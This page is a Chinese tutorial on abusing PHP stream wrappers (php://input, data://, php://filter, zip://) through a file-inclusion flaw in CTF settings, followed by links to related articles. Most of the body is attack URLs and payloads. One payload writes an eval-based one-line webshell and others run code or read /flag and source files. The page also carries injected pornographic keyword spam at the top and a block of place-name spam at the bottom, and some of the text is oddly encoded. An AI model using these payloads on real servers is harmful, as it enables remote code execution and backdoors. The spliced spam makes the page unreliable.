最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情

 更新時間:2022年06月10日 16:03:57   作者:jcxj2934  
這篇文章主要介紹了php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情,文章圍繞主題展開詳細(xì)的內(nèi)容介紹,感興趣的朋友可以參考一下

1.file://協(xié)議

條件:

allow_url_fopen : off/on
allow_url_include: off/on

作用:

用于訪問本地文件系統(tǒng),在ctf中通常用來讀取本地文件

include() / require() / include_once() / require_once() 參數(shù)可控的情況下,即使導(dǎo)入非.php文件,如shell.txt ,依然按照php語法進(jìn)行解析,這是include()函數(shù)所決定的

說明:

file:// 文件系統(tǒng)是php使用的默認(rèn)封裝協(xié)議,用于展示本地文件系統(tǒng)。

用法:

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:

1.file://[文件的絕對路徑和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相對路徑和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://網(wǎng)絡(luò)位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://協(xié)議

條件:

allow_url_open : off/on
allow_url_include: 僅 php://input ?php://stdin php://memory php://temp 需要on

作用:

php:// 訪問各個輸入/輸出流 (I/O streams), 在ctf中經(jīng)常使用的是 php://filter 和 php://input

php://filter 用于讀取源碼
php://input 用于執(zhí)行php代碼

說明:

php提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流,標(biāo)準(zhǔn)輸入輸出流和錯誤描述符:

php://filter使用:

php://filter/read=convert.base64-encode/resource=[文件名]

php://input的使用:

http://127.0.0.1/include.php?file=php://input
?[POST DATA部分]
<?php phpinfo(); ?>

寫入一句話

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://協(xié)議

作用:

php>=5.2.0 , 可以使用data://數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)。通常用來執(zhí)行php代碼

用法:

data://text/plain, ???

如:

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 協(xié)議

作用:

zip:// & bzip:// & zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可以修改為任意后綴名,如 jpg,png,gif,xxx等

示例:

1.zip://[壓縮文件絕對路徑]%23[壓縮文件內(nèi)的子文件文件名](# 的編碼為 %23)

壓縮 phpinfo.txt 為phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

壓縮phpinfo.txt 為phpinfo.bz2 并上傳(同樣支持任意后綴名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

壓縮phpinfo.txt 為phpinfo.gz 并上傳(支持任意后綴名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

總結(jié)

在ctf中常用的有data:// , php://input , php://filter ,file://

php://input ,data://用來執(zhí)行命令
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
php://filter,file://用來讀取文件
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(讀取php文件需要先加密以下才能讀出來)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

到此這篇關(guān)于php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情的文章就介紹到這了,更多相關(guān)php命令執(zhí)行內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:

相關(guān)文章

  • php簡單實(shí)現(xiàn)單態(tài)設(shè)計模式的方法分析

    php簡單實(shí)現(xiàn)單態(tài)設(shè)計模式的方法分析

    這篇文章主要介紹了php簡單實(shí)現(xiàn)單態(tài)設(shè)計模式的方法,簡單分析了單態(tài)設(shè)計模式的構(gòu)成、實(shí)現(xiàn)與使用方法,需要的朋友可以參考下
    2017-07-07
  • PHP的PDO操作簡單示例

    PHP的PDO操作簡單示例

    這篇文章主要介紹了PHP的PDO操作,以簡單示例形式分析了PHP操作PDO的簡單連接,初始化及查詢,插入等操作技巧,需要的朋友可以參考下
    2016-03-03
  • PHP實(shí)現(xiàn)自動登入google play下載app report的方法

    PHP實(shí)現(xiàn)自動登入google play下載app report的方法

    這篇文章主要介紹了PHP實(shí)現(xiàn)自動登入google play下載app report的方法,較為詳細(xì)的講述了登陸下載APP及對應(yīng)的實(shí)現(xiàn)代碼,具有不錯的實(shí)用價值,需要的朋友可以參考下
    2014-09-09
  • PHP_Cooikes不同頁面無法傳遞的解決方法

    PHP_Cooikes不同頁面無法傳遞的解決方法

    這篇文章主要介紹了PHP_Cooikes不同頁面無法傳遞的解決方法,需要的朋友可以參考下
    2014-03-03
  • php成功操作redis cluster集群的實(shí)例教程

    php成功操作redis cluster集群的實(shí)例教程

    這篇文章主要給大家介紹了關(guān)于php成功操作redis cluster集群的實(shí)例教程,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-01-01
  • PHP獲取中英混合字符串長度的方法

    PHP獲取中英混合字符串長度的方法

    這篇文章主要介紹了PHP獲取中英混合字符串長度的方法,需要的朋友可以參考下
    2014-06-06
  • php繪圖之生成餅狀圖的方法

    php繪圖之生成餅狀圖的方法

    這篇文章主要介紹了php繪圖之生成餅狀圖的方法,涉及GD庫中imagefilledarc方法的使用技巧,需要的朋友可以參考下
    2015-01-01
  • PHP 快速排序算法詳解

    PHP 快速排序算法詳解

    其實(shí)快速排序之所以稱之快速,就是因?yàn)椋芭菖判蚴敲看螌Ρ戎唤粨Q相鄰的兩個值的位置,這樣每個值要移動到它最終的排序結(jié)果中所對應(yīng)的位置,可能需要很多次位置的變化。但是快速排序可在一次劃分中,就確定你選定的那個對比值在最終排序好的隊列中的位置。
    2014-11-11
  • PHP將整數(shù)數(shù)字轉(zhuǎn)換為羅馬數(shù)字實(shí)例分享

    PHP將整數(shù)數(shù)字轉(zhuǎn)換為羅馬數(shù)字實(shí)例分享

    本篇文章中小編給大家分享了一篇關(guān)于PHP將整數(shù)數(shù)字轉(zhuǎn)換為羅馬數(shù)字的知識點(diǎn)以及實(shí)例內(nèi)容,需要的朋友們學(xué)習(xí)下。
    2019-03-03
  • php判斷/計算閏年的方法小結(jié)【三種方法】

    php判斷/計算閏年的方法小結(jié)【三種方法】

    這篇文章主要介紹了php判斷/計算閏年的方法,結(jié)合實(shí)例形式總結(jié)分析了三種計閏年的判斷方法,需要的朋友可以參考下
    2019-07-07

最新評論

共和县| 新营市| 怀来县| 黑龙江省| 陈巴尔虎旗| 岗巴县| 大化| 南平市| 洞头县| 鸡泽县| 榆社县| 耒阳市| 台中县| 城步| 武夷山市| 米泉市| 西峡县| 化德县| 重庆市| 永康市| 海门市| 青川县| 商水县| 屯昌县| 尚义县| 海宁市| 新乡县| 平陆县| 嘉善县| 湟中县| 敖汉旗| 玉林市| 永寿县| 平凉市| 明星| 从江县| 鄄城县| 称多县| 邮箱| 石林| 任丘市|